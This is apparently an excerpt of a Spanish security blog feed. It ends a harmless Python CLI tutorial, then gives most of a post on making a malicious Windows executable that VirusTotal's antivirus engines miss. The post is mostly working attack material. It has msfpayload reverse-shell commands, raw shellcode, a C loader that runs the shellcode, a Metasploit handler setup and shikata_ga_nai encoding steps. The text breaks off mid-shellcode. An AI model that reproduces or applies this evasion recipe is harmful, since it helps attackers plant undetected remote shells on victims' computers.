</code></pre><p>Es una estructura relativamente sencilla, la cual detallaremos poco a poco. Por ahora, nos interesa saber lo siguiente:</p><ul><li><p><strong>dev-requirements.txt</strong>: Lista de paquetes necesarios para trabajar en el desarrollo de habu</p></li><li><p><strong>docs</strong>: Documentaci&#243;n</p></li><li><p><strong>habu</strong>: Directorio donde va a ir el c&#243;digo del proyecto</p></li><li><p><strong>LICENSE</strong>: Licencia del proyecto</p></li><li><p><strong>README</strong>: Archivo 'leeme' en formato markdown (para gitlab)</p></li><li><p><strong>setup.py</strong>: Instrucciones para la instalaci&#243;n del paquete a trav&#233;s de pip</p></li><li><p><strong>tests</strong>: Directorio con los tests de calidad del proyecto</p></li></ul><p>Uno de los archivos m&#225;s importantes es 'setup.py', que contiene instrucciones para la instalaci&#243;n del paquete a trav&#233;s de pip, e informaci&#243;n como las dependencias.</p><pre><code>$ cat setup.py 
from setuptools import setup

with open('README.md') as f:
    readme = f.read()

with open('LICENSE') as f:
    license = f.read()

setup(
    name='habu',
    version='0.0.1',
    description='Penetration Testing Utils',
    long_description=readme,
    author='Fabian Martinez Portantier',
    author_email='fportantier@securetia.com',
    url='https://gitlab.com/securetia/habu',
    license=license,
    install_requires=[
        'Click',
        'Requests',
    ],
    packages=['habu'],
    include_package_data=True,
    entry_points='''
        [console_scripts]
        habu.ip=habu.cli.cmd_ip:cmd_ip
    ''',
)
</code></pre><p>Por ahora, las partes m&#225;s importantes son:</p><ul><li><p><strong>install_requires</strong>: Define las dependencias del paquete</p></li><li><p><strong>entry_points</strong>: Define los comandos que va a proveer el paquete</p></li></ul><h2>Librer&#237;a y Ejecutables</h2><p>El objetivo del proyecto es el de proveer comandos &#250;tiles para las tareas de un Penetration Test, as&#237; como tambi&#233;n una librer&#237;a que ponga a disposici&#243;n las funciones utilizadas por los comandos, para que el proyecto pueda ser utilizado para la construcci&#243;n r&#225;pida de otras herramientas.</p><p>Por eso, existen los directorios 'lib' y 'cli' en los cuales residen las funciones y los comandos, respectivamente.</p><h2>Cu&#225;l es mi IP</h2><p>Una de las funciones m&#225;s b&#225;sicas que podemos implementar, para demostrar la forma de trabajo del proyecto, es la de conocer cu&#225;l es nuestra direcci&#243;n IP p&#250;blica.</p><p>Para eso, tenemos la librer&#237;a ip (lib/ip.py), que contiene la funci&#243;n 'get_ip':</p><pre><code>import requests

def get_ip():
    return requests.get('https://api.ipify.org').text

if __name__ == '__main__':
    print(get_ip())
</code></pre><p>Esta librer&#237;a utiliza el paquete 'requests' para facilitar el trabajo con peticiones HTTP.</p><p>La funci&#243;n 'get_ip' simplemente realiza una petici&#243;n al servicio https://api.ipify.org, que devuelve un string con &#250;nicamente nuestra direcci&#243;n IP p&#250;blica, y devuelve ese string como resultado.</p><p>En el caso de que el m&#243;dulo sea ejecutado directamente (if <strong>name</strong> == '<strong>main</strong>') se ejecuta la funci&#243;n get_ip()</p><p>Esto nos permite hacer lo siguiente:</p><pre><code>$ python lib/ip.py 
182.13.121.142
</code></pre><p>De todos modos, eso no ser&#237;a muy pr&#225;ctico, por lo que definimos el archivo 'cli/cmd_ip.py', con lo siguiente:</p><pre><code>import click
from habu.lib.ip import get_ip

@click.command()
def cmd_ip():
    """Example script."""
    print(get_ip())
</code></pre><p>Aqu&#237; utilizamos el paquete 'click' para ayudarnos a construir nuestra interfaz CLI.</p><p>Decoramos la funci&#243;n cmd_ip con 'click.command()' para declarar que es un comando.</p><p><strong>Nota</strong>: 'Decorar' una funci&#243;n nos permite llamar a otra funci&#243;n para modificar su comportamiento. En otros art&#237;culos vamos a usar m&#225;s decoradores y a explicarlos mejor.</p><pre><code>entry_points='''
    [console_scripts]
    habu.ip=habu.cli.cmd_ip:cmd_ip
''',
</code></pre><p>Eso le indica a pip que tiene que poner a disposici&#243;n el comando 'habu.ip' que, al ser ejecutado, va a llamar a la funci&#243;n cmd_ip, que reside dentro del archivo cmd_ip.py, que a su vez reside dentro del m&#243;dulo cli, que a su vez reside dentro del paquete habu (por eso la sint&#225;xis: habu.cli.cmd_ip:cmd_ip)</p><p>Para instalar el paquete habu en nuestro entorno virtual, podemos pararnos en la ra&#237;z del paquete y utilizar el siguiente comando:</p><pre><code>$ pip install -e .
Obtaining file:///home/fabian/habu
Collecting Click (from habu==0.0.1)
Collecting Requests (from habu==0.0.1)
  Using cached requests-2.11.1-py2.py3-none-any.whl
Installing collected packages: Click, Requests, habu
  Running setup.py develop for habu
Successfully installed Click-6.6 Requests-2.11.1 habu
</code></pre><p>Como podemos ver, no solamente se ha instalado el paquete habu, si no tambi&#233;n sus dependencias (eso es gracias a que est&#225;n detalladas en el archivo setup.py).</p><p>Ahora disponemos del ejecutable 'habu.ip':</p><pre><code>$ habu.ip 
186.19.120.102
</code></pre><h2>Ejecutando Fuera del Entorno Virtual</h2><p>Si salimos del entorno virtual, no vamos a tener acceso al comando habu.ip, pero eso es simplemente porque no va a estar en nuestro PATH.</p><p>No es una buena idea agregar el directorio en el cual reside el comando, debido a que hay otros comandos que colisionar&#237;an, como pip, python, etc.</p><p>Una forma bastante sencilla es incluir lo siguiente en nuestro .bashrc (en el caso de no usar bash, tendremos que verificar la documentaci&#243;n de nuestra shell)</p><pre><code>for f in $(ls -1 ~/.python-envs/habu/bin)
do
    alias $(basename $f)="~/.python-envs/habu/bin/$f"
done
</code></pre><p>Esto genera un alias para cada comando que empieza con 'habu.', adem&#225;s, los scripts generados por setuptools permiten que los comandos funcionen fuera del entorno virtual (se encargan de que cada comando ingrese al entorno virtual antes de ejecutarse)</p><h2>Conclusi&#243;n</h2><p>En este art&#237;culo hemos hecho una buena introducci&#243;n a c&#243;mo empezar a trabajar en un proyecto Python para generar una interfaz de l&#237;nea de comandos y una librer&#237;a.</p><p>Ya contamos con los fundamentos para empezar a modificar el c&#243;digo y jugar con las diferentes funcionalidades.</p><h2>En los pr&#243;ximos art&#237;culos</h2><p>Vamos a implementar m&#225;s funcionalidades asociadas a los Penetration Tests (la funcionalidad que vimos en este art&#237;culo fue un ejemplo muy b&#225;sico).</p>]]></content:encoded></item><item><title><![CDATA[Cómo Saltar Todos los Antivirus de VirusTotal]]></title><description><![CDATA[En este art&#237;culo voy a explicar c&#243;mo, en unos pocos pasos, podemos conseguir un ejecutable malicioso que no sea detectado por ninguno de los 55 antivirus del servicio online www.virustotal.com]]></description><link>https://www.portantier.com/p/como-saltar-todos-los-antivirus-de</link><guid isPermaLink="false">https://www.portantier.com/p/como-saltar-todos-los-antivirus-de</guid><dc:creator><![CDATA[Fabian Martinez Portantier]]></dc:creator><pubDate>Wed, 03 Sep 2014 19:55:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!4hF2!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad006b85-506c-4c86-8217-b254b0458cc3_1366x768.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>En este art&#237;culo voy a explicar c&#243;mo, en unos pocos pasos, podemos conseguir un ejecutable malicioso que no sea detectado por ninguno de los 55 antivirus del servicio online www.virustotal.com</p><p>Como siempre aclaro a mis clientes y alumnos, los servicios de an&#225;lisis de archivos en l&#237;nea deben ser tomados m&#225;s como una referencia estad&#237;stica que como un resultado definitivo. Porque, el hecho de que un antivirus X no detecte como malicioso un archivo que subimos, no quiere decir que ese mismo antivirus, instalado en una PC, no lo detecte. B&#225;sicamente, las condiciones de testeo son diferente y, es por eso, que debemos tomar esos resultados como estad&#237;sticos. Si tenemos un archivo que es detectado por 40 de los 55 antivirus utilizados, ya sabemos que es un archivo muy "detectable". Si, por el contrario, analizamos un archivo que es detectado por 8 de los 55 antivirus, ya estamos en presencia de un programa m&#225;s "sigiloso".</p><p>Es por eso que, al final de este art&#237;culo, se hace un an&#225;lisis con tres antivirus instalados en una m&#225;quina virtual, para probar qu&#233; tan cierto es eso de "indetectable".</p><h2>El entorno de pruebas</h2><p>Para la generaci&#243;n de los archivos maliciosos voy a utilizar Kali Linux, con la versi&#243;n 4.10 de Metasploit Framework. Obviamente, pueden utilizar otra distribuci&#243;n, mientras tengan Metasploit Framework (no recomiendo utilizar MSF sobre sistemas Windows porque, en mi experiencia, no funciona tan bien como en sistemas GNU/Linux).</p><p>Tambi&#233;n voy a utilizar una m&#225;quina virtual con Windows 7 (aunque tambi&#233;n pueden utilizar otra versi&#243;n, como XP, Vista, 8). Lo &#250;nico que vamos a hacer es probar que los archivos generados se ejecuten correctamente. Y vamos a necesitar un compilador de lenguaje C, que en mi caso es xxx. Este &#250;ltimo lo vamos a utilizar para generar el programa malicioso, que utilizar&#225; como base los payloads generados por MSF.</p><h2>Paso 1: El payload b&#225;sico</h2><p>Como toda prueba deber&#237;a empezar por el caso m&#225;s simple, vamos a generar un payload totalmente detectable, utilizando msfpayload, de la siguiente forma:</p><pre><code>msfpayload windows/shell/reverse_tcp LHOST=192.168.1.41 LPORT=4444 X &gt; sample01.exe
</code></pre><p>Esto nos va a generar el archivo "sample01.exe" que, al ejecutarse, va a conectarse con nuestro servidor de MSF a la IP que acabo de especificar (en mi caso, 192.168.1.41), al puerto TCP/4444.</p><p>(La "X" casi al final del comando es para que el formato de archivo sea ejecutable de windows, o sea, PE32)</p><p>Al finalizar, el comando va a tener una salida similar a la siguiente:</p><pre><code>Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell/reverse_tcp
Length: 287
Options {"LHOST"=&gt;"192.168.1.41", "LPORT"=&gt;"4444"}
</code></pre><p>Una vez obtenido ese archivo, lo subimos a VirusTotal. En mi caso, la detecci&#243;n fue de 35/55 (es decir, 35 de los 55 antivirus lo detectaron como malicioso), lo cual es un porcentaje de detecci&#243;n alt&#237;simo. Nuestro objetivo, ser&#225; bajarlo al m&#237;nimo (obviamente, el ideal es bajarlo a cero).</p><p>Como una peque&#241;a prueba, intent&#233; modificar el puerto al que se conecta el payload, sustituyendo el TCP/4444 por el TCP/443. Hice esta prueba porque el puerto TCP/4444 es ampliamente utilizado por MSF, y eso puede llegar a hacer que varios antivirus "sospechen" de ese comportamiento. As&#237; que modifiqu&#233; el comando anterior por el siguiente:</p><pre><code>msfpayload windows/shell/reverse_tcp LHOST=192.168.1.41 LPORT=443 X &gt; sample02.exe
</code></pre><p>Aunque, luego de subir el archivo a VirusTotal, la detecci&#243;n qued&#243; igual (35/55)</p><p>Aclaro que, si alguien piensa que la prueba de cambiar el puerto es algo "tonta", en muchos casos similares se baja el &#237;ndice de detecci&#243;n de forma considerable. Por ejemplo, como he explicado en ocasiones anteriores (y muchos otros lo han hecho tambi&#233;n), podemos modificar el puerto de escucha del backdoor "tini", del TCP/7777 a cualquier otra cosa, y eso va a reducir, aunque sea un poco, el &#237;ndice de detecci&#243;n.</p><p>En resumen, por ahora seguimos igual.</p><h2>Paso 2: El payload dentro de otro archivo</h2><p>Lo que se me ocurri&#243; hacer como paso siguiente, fue crear un archivo ejecutable, en C, que contenga la informaci&#243;n del payload generado por msfpayload. Esto no es invento m&#237;o, es una t&#233;cnica ampliamente utilizada, en la cual un archivo, en cualquier lenguaje, incluye dentro de s&#237; el c&#243;digo shellcode (en este caso llamado m&#225;s bien "payload" por la nomenclatura de MSF).</p><p>As&#237; que, haciendo una modificaci&#243;n al comando anterior, vamos a hacer que la salida de msfpayload no sea un archivo ejecutable, si no un cadena de texto utilizable en c&#243;digo fuente C.</p><pre><code>msfpayload windows/shell/reverse_tcp LHOST=192.168.1.41 LPORT=443 C
</code></pre><p>Despu&#233;s de este comando, obtendremos una salida similar a la siguiente:</p><pre><code>msfpayload windows/shell/reverse_tcp LHOST=192.168.1.41 LPORT=443 C 
/*
 * windows/shell/reverse_tcp - 287 bytes (stage 1)
 * http://www.metasploit.com
 * VERBOSE=false, LHOST=192.168.1.41, LPORT=443, 
 * ReverseConnectRetries=5, ReverseListenerBindPort=0, 
 * ReverseAllowProxy=false, ReverseListenerThreaded=false, 
 * EnableStageEncoding=false, PrependMigrate=false, 
 * EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=
 */
unsigned char buf[] = 
"\xfc\xe8\x86\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x8b\x4c\x10\x78\xe3\x4a"
"\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3c\x49\x8b"
"\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38"
"\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24"
"\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f"
"\x5a\x8b\x12\xeb\x89\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32"
"\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29"
"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40"
"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0"
"\xa8\x01\x29\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56\x57\x68"
"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec"
"\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02"
"\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56"
"\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53"
"\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75"
"\xec\xc3";

/*
 * windows/shell/reverse_tcp - 240 bytes (stage 2)
 * http://www.metasploit.com
 */
unsigned char buf[] = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x63\x6d\x64\x00\x89"
"\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44"
"\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5"
"\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb"
"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
"\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
</code></pre><p>(Los contenidos que obtengan ustedes, a nivel de OpCodes, es decir, todos esos caracteres del estilo "\x80\xfb", pueden diferir de los que yo muestro en el art&#237;culo, pero el funcionamiento va a ser el mismo).</p><p>De todo este c&#243;digo, que son dos etapas (Stage1 y Stage2) &#250;nicamente necesitamos la primera, que es la que tiene que tener nuestro archivo porque, la segunda, va a ser enviada desde MSF a la v&#237;ctima, para terminar de establecer la conexi&#243;n y darnos acceso shell.</p><p>As&#237; que ahora vamos a generar un c&#243;digo C, que va a contener el Stage1, quedando m&#225;s o menos as&#237;:</p><pre><code>#include &lt;stdio.h&gt;
#include &lt;windows.h&gt;

unsigned char buf[] =
"\xfc\xe8\x86\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x8b\x4c\x10\x78\xe3\x4a"
"\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3c\x49\x8b"
"\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38"
"\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24"
"\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f"
"\x5a\x8b\x12\xeb\x89\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32"
"\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29"
"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40"
"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0"
"\xa8\x01\x29\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56\x57\x68"
"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec"
"\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02"
"\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56"
"\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53"
"\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75"
"\xec\xc3";

int main(int argc, char **argv)
{
    int (*f)();

    f = (int (*)())buf;(int)(*f)();
}
</code></pre><p>Este c&#243;digo tiene pocas l&#237;neas (si quitamos las l&#237;neas del shellcode), las voy a explicar:</p><pre><code>#include &lt;stdio.h&gt;
#include &lt;windows.h&gt;
</code></pre><p>Incluyen dos librer&#237;as (stdio.h y windows.h). En muchos de los ejemplos el programa real no las va a utilizar, pero fueron dejadas porque en varias de mis pruebas internas las utilic&#233; y tambi&#233;n porque el hecho de que un archivo no incluya ninguna librer&#237;a externa muchas veces es interpretado como "sospechoso" por los programas antimalware, as&#237; que no hacen da&#241;o para nada.</p><pre><code>unsigned char buf[] =
</code></pre><p>En esta l&#237;nea d c&#243;digo definimos la variable "buf" que va a ser la encargada de contener nuestro shellcode en las l&#237;neas de m&#225;s abajo. Recuerden que, en C, la finalizaci&#243;n de la instrucci&#243;n se marcan con el caracter de punto y coma (;), por lo que podr&#237;amos haber puesto la definici&#243;n de la variable y la shellcode toda en una &#250;nica l&#237;nea, pero se hace as&#237; simplemente para que el c&#243;digo sea m&#225;s legible.</p><pre><code>int main(int argc, char **argv)
</code></pre><p>T&#237;pico en todo programa C, aunque podr&#237;amos haber utilizado otras variantes, como:</p><pre><code>void main()
</code></pre><p>Pero qued&#243; as&#237; porque es lo que pone autom&#225;ticamente el entorno de desarrollo que utilic&#233;, y qued&#243; as&#237;. :)</p><pre><code>int (*f)();

f = (int (*)())buf;

(int)(*f)();
</code></pre><p>Estas tres l&#237;neas son muy utilizadas para cargar shellcodes dentro de c&#243;digo C y son algo confusas&#8230;</p><p>La primera, define que "f" es un puntero a una funci&#243;n (function pointer), que no tiene par&#225;metros (por eso los par&#233;ntesis vac&#237;os del final de la l&#237;nea) y que devuelve un int (por eso el "int" del principio de la l&#237;nea).</p><p>La segunda, hace que "f" apunte a nuestra shellcode, que est&#225; definida en la variable "buf". B&#225;sicamente, hace una conversi&#243;n de tipos (type casting), y convierte nuestra shellcode (que estaba almacenada en una variable del tipo char[]) en un puntero a una funci&#243;n que tiene el contenido de la shellcode. En resumen, hace que "f", al ser llamado, ejecute el c&#243;digo de la shellcode.</p><p>La tercera, ejecuta la funci&#243;n "f", que contiene nuestra shellcode, y convierte el valor de retorno de la shellcode en un dato del tipo "int".</p><p>Una vez hecho esto, podemos compilar nuestro programa y obtener el ejecutable, que yo llam&#233; "sample03.exe".</p><p>Antes de ejecutarlo, vamos a tener que preparar MSF para recibir la conexi&#243;n inversa a nuestro puerto TCP/443, para eso, en msfconsole, vamos a hacer lo siguiente:</p><pre><code>use exploit/multi/handler
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.1.41
set LPORT 443
exploit
</code></pre><p>Obviamente, deber&#225;n reemplazar la direcci&#243;n IP por la que corresponda a su m&#225;quina con MSF.</p><p>Hecho eso, vamos a obtener una salida como la siguiente:</p><pre><code>[*] Started reverse handler on 192.168.1.41:443
[*] Starting the payload handler...
</code></pre><p>La cual nos indica que MSF est&#225; listo para recibir la conexi&#243;n en el puerto TCP/443</p><p>Paso seguido, lo vamos a ejecutar, para comprobar que funciona.</p><p>Y deber&#237;amos obtener una shell, con los permisos del usuario que ejecut&#243; el archivo "sample03.exe" desde el sistema Windows.</p><p>Pero, lo m&#225;s importante, vamos a subir el archivo a VirusTotal, para ver cu&#225;l es el &#237;ndice de detecci&#243;n. En mi caso, la detecci&#243;n baj&#243; a 8/55, es decir que, solamente ocho de los 55 antivirus detectaron el archivo como malicioso. Lo cual es una reducci&#243;n impresionante!</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!4hF2!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad006b85-506c-4c86-8217-b254b0458cc3_1366x768.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!4hF2!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad006b85-506c-4c86-8217-b254b0458cc3_1366x768.png 424w, https://substackcdn.com/image/fetch/$s_!4hF2!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad006b85-506c-4c86-8217-b254b0458cc3_1366x768.png 848w, https://substackcdn.com/image/fetch/$s_!4hF2!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad006b85-506c-4c86-8217-b254b0458cc3_1366x768.png 1272w, https://substackcdn.com/image/fetch/$s_!4hF2!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad006b85-506c-4c86-8217-b254b0458cc3_1366x768.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!4hF2!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad006b85-506c-4c86-8217-b254b0458cc3_1366x768.png" width="1366" height="768" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ad006b85-506c-4c86-8217-b254b0458cc3_1366x768.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:768,&quot;width&quot;:1366,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;av-bypass-sample03&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="av-bypass-sample03" title="av-bypass-sample03" srcset="https://substackcdn.com/image/fetch/$s_!4hF2!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad006b85-506c-4c86-8217-b254b0458cc3_1366x768.png 424w, https://substackcdn.com/image/fetch/$s_!4hF2!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad006b85-506c-4c86-8217-b254b0458cc3_1366x768.png 848w, https://substackcdn.com/image/fetch/$s_!4hF2!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad006b85-506c-4c86-8217-b254b0458cc3_1366x768.png 1272w, https://substackcdn.com/image/fetch/$s_!4hF2!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad006b85-506c-4c86-8217-b254b0458cc3_1366x768.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Hasta ahora, bajamos el &#237;ndice de detecci&#243;n de 35/55 a 8/55, y solamente escribimos un poquito de c&#243;digo C porque, vamos a ser sinceros, el trabajo grande lo hacemos con Metasploit Framework! ;)</p><h2>Paso 3: msfencode</h2><p>Aqu&#237; llega uno de los grandes salvadores en cuanto a la evasi&#243;n de antivirus se refiere! Y, junto son msfencode, llega la utilizaci&#243;n de su codificador m&#225;s popular, "shikata_ga_nai".</p><p>Para esto, vamos a modificar el comando con el que generamos el c&#243;digo C, y lo vamos a dejar as&#237;:</p><pre><code>msfpayload windows/shell/reverse_tcp LHOST=192.168.1.41 LPORT=443 R | msfencode -e x86/shikata_ga_nai -t c
</code></pre><p>Lo que hacemos con esto es, b&#225;sicamente, generar el payload con msfpayload en formato crudo ("raw", de ah&#237; la "R") y se lo enviamos directamente a msfencode para que haga su trabajo y nos devuelva el c&#243;digo C del payload codificado con shikata_ga_nai.</p><p>Esto mismo tambi&#233;n lo podr&#237;amos haber hecho utilizando un archivo temporal y dos ejecuciones de comandos aisladas, as&#237;:</p><pre><code>msfpayload windows/shell/reverse_tcp LHOST=192.168.1.41 LPORT=443 R &gt; tmp.raw
msfencode -i tmp.raw -e x86/shikata_ga_nai -t c
</code></pre><p>Una vez hecho esto, vamos a obtener una salida m&#225;s o menos as&#237;:</p><pre><code>[*] x86/shikata_ga_nai succeeded with size 314 (iteration=1)

unsigned char buf[] =
"\xbe\x70\xa7\x5b\x25\xdb\xd4\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x48\x31\x73\x15\x83\xeb\xfc\x03\x73\x11\xe2\x85\x5b\xb3\xa3"
"\x65\xa4\x44\xcc\xec\x41\x75\xde\x8a\x02\x24\xee\xd9\x47\xc5"
"\x85\x8f\x73\x5e\xeb\x07\x73\xd7\x46\x71\xba\xe8\x66\xbd\x10"
"\x2a\xe8\x41\x6b\x7f\xca\x78\xa4\x72\x0b\xbd\xd9\x7d\x59\x16"
"\x95\x2c\x4e\x13\xeb\xec\xe5\x6f\xfc\x74\x19\x25\xfd\x55\x8c"
"\x32\xa4\x75\x2e\x97\xdc\x3f\x28\xf4\xdf\xf6\xc3\xce\x94\x08"
"\x02\x1f\x54\x3b\x6a\xf3\x6b\xf3\x67\x0a\xab\x34\x98\x79\xc7"
"\x46\x25\x79\x1c\x34\xf1\x0c\x81\x9e\x72\xb6\x61\x1e\x56\x20"
